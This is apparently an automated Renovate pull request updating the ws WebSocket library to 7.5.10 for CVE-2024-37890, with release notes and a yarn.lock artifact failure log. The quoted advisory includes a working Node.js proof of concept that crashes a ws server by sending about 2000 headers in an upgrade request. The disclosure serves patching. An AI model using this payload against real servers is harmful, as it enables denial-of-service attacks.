chore(deps): update dependency ws to v7.5.10 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
ws	7.4.6 -> 7.5.10

GitHub Vulnerability Alerts

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

• https://github.com/websockets/ws/issues/2230
• https://github.com/websockets/ws/pull/2231

---

Release Notes

websockets/ws (ws)

v7.5.10

Compare Source

Bug fixes

• Backported e55e510 to the 7.x release line (22c2876).

v7.5.9

Compare Source

Bug fixes

• Backported bc8bd34 to the 7.x release line (0435e6e).

v7.5.8

Compare Source

Bug fixes

• Backported 0fdcc0a to the 7.x release line (2758ed3).
• Backported d68ba9e to the 7.x release line (dc1781b).

v7.5.7

Compare Source

Bug fixes

• Backported 6946f5f to the 7.x release line (1f72e2e).

v7.5.6

Compare Source

Bug fixes

• Backported b8186dd to the 7.x release line (73dec34).
• Backported ed2b803 to the 7.x release line (22a26af).

v7.5.5

Compare Source

Bug fixes

• Backported ec9377c to the 7.x release line (0e274ac).

v7.5.4

Compare Source

Bug fixes

• Backported 6a72da3 to the 7.x release line (76087fb).
• Backported 869c989 to the 7.x release line (2799793).

v7.5.3

Compare Source

Bug fixes

• The WebSocketServer constructor now throws an error if more than one of the
  noServer, server, and port options are specefied (66e58d2).
• Fixed a bug where a 'close' event was emitted by a WebSocketServer before
  the internal HTTP/S server was actually closed (5a58730).
• Fixed a bug that allowed WebSocket connections to be established after
  WebSocketServer.prototype.close() was called (772236a).

v7.5.2

Compare Source

Bug fixes

• The opening handshake is now aborted if the client receives a
  Sec-WebSocket-Extensions header but no extension was requested or if the
  server indicates an extension not requested by the client (aca94c8).

v7.5.1

Compare Source

Bug fixes

• Fixed an issue that prevented the connection from being closed properly if an
  error occurred simultaneously on both peers (b434b9f).

v7.5.0

Compare Source

Features

• Some errors now have a code property describing the specific type of error
  that has occurred (#​1901).

Bug fixes

• A close frame is now sent to the remote peer if an error (such as a data
  framing error) occurs (8806aa9).
• The close code is now always 1006 if no close frame is received, even if the
  connection is closed due to an error (8806aa9).

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[renovate]

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

• any of the package files in this branch needs updating, or
• the branch becomes conflicted, or
• you click the rebase/retry checkbox if found above, or
• you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: yarn.lock

/opt/containerbase/tools/corepack/0.28.2/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:22534
    throw new Error(
          ^

Error: Error when performing the request to https://registry.npmjs.org/yarn/latest; for troubleshooting help, see https://github.com/nodejs/corepack#troubleshooting
    at fetch (/opt/containerbase/tools/corepack/0.28.2/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:22534:11)
    at async fetchAsJson (/opt/containerbase/tools/corepack/0.28.2/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:22548:20)
    ... 4 lines matching cause stack trace ...
    at async Object.runMain (/opt/containerbase/tools/corepack/0.28.2/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:24007:5) {
  [cause]: TypeError: globalThis.fetch is not a function
      at fetch (/opt/containerbase/tools/corepack/0.28.2/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:22528:33)
      at async fetchAsJson (/opt/containerbase/tools/corepack/0.28.2/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:22548:20)
      at async fetchLatestStableVersion (/opt/containerbase/tools/corepack/0.28.2/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:22475:20)
      at async fetchLatestStableVersion2 (/opt/containerbase/tools/corepack/0.28.2/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:22598:14)
      at async Engine.getDefaultVersion (/opt/containerbase/tools/corepack/0.28.2/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:23208:23)
      at async Engine.executePackageManagerRequest (/opt/containerbase/tools/corepack/0.28.2/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:23300:47)
      at async Object.runMain (/opt/containerbase/tools/corepack/0.28.2/16.20.2/node_modules/corepack/dist/lib/corepack.cjs:24007:5)
}

[vercel]

The latest updates on your projects. Learn more about Vercel for Git ↗︎

Name	Status	Preview	Comments	Updated (UTC)
hliquity-frontend	❌ Failed (Inspect)			Jun 25, 2024 7:41am